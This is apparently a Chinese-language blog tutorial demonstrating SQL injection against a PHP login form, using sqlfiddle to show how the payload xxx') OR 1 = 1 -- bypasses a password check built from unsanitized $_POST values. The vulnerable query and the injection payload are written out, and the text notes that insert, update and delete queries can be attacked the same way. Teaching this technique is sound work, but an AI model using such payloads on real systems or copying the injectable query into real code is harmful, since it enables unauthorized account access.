说明
一个php登录表单方式:
登录的sql语句可能是这样子:
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password'])
sqlfiddle工具
现在用一个在线工具直接模拟sql注入,打开http://sqlfiddle.com/
在左边窗口写创建数据库和插入数据语句
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`));
insert into users (email,password) values ('[m@m.com](mailto:m@m.com)',md5('abc'));
右边输入
select * from users;
点击运行出现结果:
Paste_Image.png
截图展示具体操作步骤
Paste_Image.png
现在右侧输入下面的语句也能查询到结果:
SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
分析语句:
OR 1 = 1 LIMIT 1 一条记录永远为真
-- ' AND.... SQL注释,忽略了密码部分
Paste_Image.png
实例操作
密码输入: xxx') OR 1 = 1 -- ]
点击登录就可以登录成功
Paste_Image.png
登录成功后的页面
Paste_Image.png
分析
当输入上面的语句时,就生成了这样的语句: SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' AND password = md5('xxx') OR 1 = 1 -- ]');
生成过程是这样子:
Paste_Image.png
其他
增删改查都可以用注入的方式
借助自动化工具
参考